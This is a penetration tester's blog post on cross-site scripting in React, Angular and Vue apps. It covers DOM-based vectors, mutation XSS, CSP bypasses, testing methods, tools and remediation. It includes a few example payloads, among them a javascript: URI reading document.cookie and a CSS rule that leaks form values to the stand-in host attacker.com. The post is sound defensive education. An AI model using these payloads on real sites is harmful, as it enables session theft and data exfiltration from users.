Back to Blog

XSS in Modern Applications: Beyond Basic Payloads

October 04, 2024 8 min read
XSS in Modern Applications: Beyond Basic Payloads
Last updated:

Cross-Site Scripting remains one of the most prevalent web vulnerabilities, but the landscape has changed dramatically. Modern JavaScript frameworks like React, Angular, and Vue provide built-in protections against basic XSS by escaping output by default. This has led some developers to believe that XSS is a solved problem. In reality, these frameworks have shifted the attack surface rather than eliminated it. As a penetration tester, I regularly find XSS in modern applications -- it just requires deeper understanding of framework internals, DOM manipulation, and browser parsing behaviors.

This guide covers the evolution of XSS techniques, framework-specific attack vectors, advanced bypass methods, and a comprehensive testing methodology for modern web applications.

The Evolution of XSS

Traditional XSS exploited simple reflection of user input into HTML without encoding. A classic <script>alert(1)</script> payload injected into a search parameter would execute in older server-rendered applications. Modern frameworks changed this by introducing automatic output encoding, virtual DOM layers, and template compilation that separates code from data. However, these frameworks also introduced new concepts -- client-side routing, component state management, template expressions, and dynamic rendering directives -- each of which creates new injection opportunities when misused.

Framework-Specific Vectors in Detail

  • React: dangerouslySetInnerHTML - React escapes all values rendered in JSX by default. However, the dangerouslySetInnerHTML prop explicitly bypasses this protection to render raw HTML. When user-controlled data flows into this prop without sanitization, XSS is straightforward. I search for this pattern in every React codebase I assess.
  • React: href javascript: protocol - React does not block javascript: URIs in anchor tag href attributes in all versions. A value like javascript:alert(document.cookie) assigned to an href will execute when clicked. This is particularly dangerous when user profile URLs or redirect parameters are rendered as links.
  • React: Server-Side Rendering (SSR) - When React applications use SSR (Next.js, Remix), user input may be embedded into the initial HTML payload before React hydrates the page. If the server serializes user data into the HTML without proper encoding, traditional reflected XSS becomes possible in the pre-hydration HTML.
  • Angular: Template injection - Angular compiles templates that contain expressions within double curly braces {{ }}. If user input is interpolated into a template string that Angular then compiles, it can execute arbitrary JavaScript through Angular expressions. This is particularly dangerous when using $compile in AngularJS or dynamic component creation in Angular.
  • Angular: bypassSecurityTrust* - Angular's DomSanitizer provides methods like bypassSecurityTrustHtml(), bypassSecurityTrustScript(), and bypassSecurityTrustUrl(). Developers use these to render trusted content, but when user input flows into these methods, they explicitly disable Angular's XSS protections.
  • Angular: ng-bind-html - In AngularJS (1.x), the ng-bind-html directive with $sce.trustAsHtml() renders raw HTML. Legacy AngularJS applications remain common in enterprise environments and are frequently vulnerable.
  • Vue: v-html directive - Vue's v-html directive renders raw HTML, similar to React's dangerouslySetInnerHTML. Any user-controlled data bound through v-html bypasses Vue's template escaping.
  • Vue: Template compilation in browser - When Vue compiles templates at runtime in the browser (rather than pre-compiling during build), user input that reaches template strings can inject Vue template expressions that execute JavaScript.

DOM-Based XSS in Depth

DOM-based XSS occurs entirely within the browser, where JavaScript reads data from an attacker-controllable source and passes it to a dangerous sink without proper sanitization. Modern single-page applications are particularly susceptible because they handle extensive client-side logic.

  • Client-side routing manipulation - SPAs read URL fragments, query parameters, and path segments to determine which view to render. If route parameters are reflected into the DOM without encoding (for example, rendering a breadcrumb from the URL path), XSS is possible through crafted URLs.
  • PostMessage vulnerabilities - The window.postMessage() API enables cross-origin communication between windows. If a receiver does not validate the message origin and passes the received data into dangerous sinks like innerHTML or eval(), any page can send a malicious message to trigger XSS.
  • localStorage/sessionStorage injection - Data stored in browser storage persists across page loads. If an attacker can inject data into storage (through a separate vulnerability or a shared subdomain) and the application later reads and renders that data without encoding, persistent DOM-based XSS results.
  • DOM clobbering - Named HTML elements create properties on the document and window objects. By injecting HTML elements with specific id or name attributes, an attacker can override JavaScript variables or DOM API return values that the application trusts. For example, injecting <img id="currentScript"> can clobber document.currentScript and affect script loading logic.

Advanced Bypass Techniques

  • Mutation XSS (mXSS) - Browsers parse and re-serialize HTML in ways that can transform benign-looking markup into executable code. When an application sanitizes HTML and then inserts it into the DOM, the browser's parser may mutate the sanitized output. For example, certain combinations of nested tags and attributes can cause the parser to break out of an attribute context and create new executable elements. The DOMPurify library specifically addresses mXSS but must be kept updated.
  • Prototype pollution chains to XSS - Prototype pollution allows an attacker to inject properties into JavaScript object prototypes. When combined with code that checks object.innerHTML or object.src on objects that inherit from a polluted prototype, this can be chained into XSS. Libraries like Lodash merge and jQuery extend have been vectors for prototype pollution.
  • CSS injection for data exfiltration - While not XSS in the traditional sense, CSS injection can exfiltrate sensitive data using attribute selectors and background image requests. For example, input[value^="a"] { background: url(https://attacker.com/?v=a) } can leak form field values character by character. In applications where HTML injection is possible but script execution is blocked by CSP, CSS-based exfiltration becomes the primary attack vector.
  • SVG-based XSS - SVG files can contain JavaScript through <script> tags, event handlers (onload, onclick), and <foreignObject> elements. When an application allows SVG uploads or renders user-provided SVG content inline, XSS execution is possible. This bypasses many file-type validation checks that only block HTML files.

Content Security Policy: Bypasses and Evaluation

Content Security Policy (CSP) is the strongest browser-side defense against XSS, but misconfigured policies are common and can be bypassed.

  • JSONP endpoints - If the CSP allows a domain that hosts JSONP endpoints (e.g., Google APIs, CDN providers), an attacker can load a script from that endpoint with a callback parameter containing JavaScript code. The allowed domain serves the attacker's code wrapped in the JSONP callback.
  • CDN-hosted scripts - CSP policies that allow entire CDN domains (e.g., cdnjs.cloudflare.com) permit loading any library hosted on that CDN, including older versions of Angular that allow template injection to execute arbitrary code.
  • Missing base-uri directive - Without base-uri restriction, an attacker can inject a <base> tag that changes the base URL for all relative script imports, redirecting them to an attacker-controlled server.
  • Nonce and hash reuse - If CSP nonces are static or predictable, or if the nonce leaks through a cache or another vulnerability, the attacker can include it in their injected script tag. Similarly, if the policy uses hashes for inline scripts, finding a way to inject the exact whitelisted script content enables bypass.
  • CSP evaluator tools - Google's CSP Evaluator (csp-evaluator.withgoogle.com) analyzes a policy and identifies weaknesses. I use this tool on every assessment to quickly identify bypass opportunities in deployed CSP headers.

Impact Beyond Alert Boxes

When demonstrating XSS to clients, showing alert(1) undersells the risk. Effective impact demonstration includes:

  • Session hijacking - Extracting session cookies (if not httpOnly) or authentication tokens from localStorage and sending them to an attacker-controlled server.
  • Keylogging - Injecting a keylogger that captures all keystrokes on the page, including credentials entered into login forms.
  • Cryptocurrency mining - Loading a cryptocurrency miner in the victim's browser, demonstrating unauthorized use of computing resources.
  • Phishing overlays - Rendering a fake login form over the legitimate page that captures credentials and submits them to the attacker before forwarding to the real login.
  • Service worker persistence - Registering a malicious service worker that intercepts all future requests to the origin, providing persistent access even after the XSS payload is removed. This is one of the most severe XSS impacts possible.

Testing Methodology

  1. Map input sinks - Identify every point where user-controlled data enters the application: URL parameters, form inputs, headers, cookies, PostMessage listeners, storage reads, and API responses rendered in the DOM.
  2. Trace data flows - Follow each input from its source to where it is rendered or used. Use browser developer tools Sources tab to set breakpoints and trace JavaScript execution paths.
  3. Automated scanning - Run automated tools as a first pass, but understand their limitations. Automated scanners are effective at finding reflected XSS but frequently miss DOM-based, stored, and framework-specific vectors.
  4. Manual testing - For each identified sink, craft payloads appropriate to the context (HTML, attribute, JavaScript, URL). Test framework-specific bypasses for the technology stack in use.
  5. CSP analysis - Review Content-Security-Policy headers using CSP Evaluator. Identify allowed sources that could be abused and test whether nonces or hashes can be bypassed.
  6. Browser developer tools - Use the Console for testing payloads, the Elements panel for inspecting DOM mutations, the Network tab for observing CSP violations, and the Application tab for reviewing storage and service workers.

Tools

  • XSStrike - Advanced XSS detection suite that uses fuzzy matching, context analysis, and payload generation to find reflected and DOM-based XSS.
  • Dalfox - Fast parameter analysis and XSS scanning tool with support for blind XSS, stored XSS, and DOM-based detection.
  • DOM Invader (Burp Suite) - Browser extension within Burp's embedded Chromium that specifically targets DOM-based vulnerabilities by tracing sources and sinks in real-time.
  • CSP Evaluator - Google's tool for analyzing Content Security Policy headers and identifying bypass opportunities.

Remediation

Defense against modern XSS requires layered controls:

  • Output encoding - Apply context-appropriate encoding for HTML, JavaScript, URL, and CSS contexts. Use framework-provided encoding by default and avoid raw HTML rendering directives.
  • Content Security Policy - Deploy a strict CSP with nonce-based script allowlisting. Avoid unsafe-inline, unsafe-eval, and overly broad domain allowlists. Use CSP reporting to identify violations.
  • Trusted Types API - Enforce Trusted Types to prevent DOM-based XSS by requiring that dangerous sinks (innerHTML, eval, script.src) only accept typed objects created through approved sanitization policies.
  • Sanitization libraries - When raw HTML rendering is necessary, use DOMPurify with a strict configuration. Keep it updated to address newly discovered mXSS vectors. Never build custom sanitization with regex patterns.
Vid Grosek

Vid Grosek

Ethical Hacker & Penetration Tester

I help Slovenian companies discover security vulnerabilities before attackers do. Over 5 years of penetration testing experience.

All Posts

Comments

No comments yet. Be the first!

Leave a Comment

Enjoyed this article?

Subscribe to the newsletter for monthly security insights.

Subscribe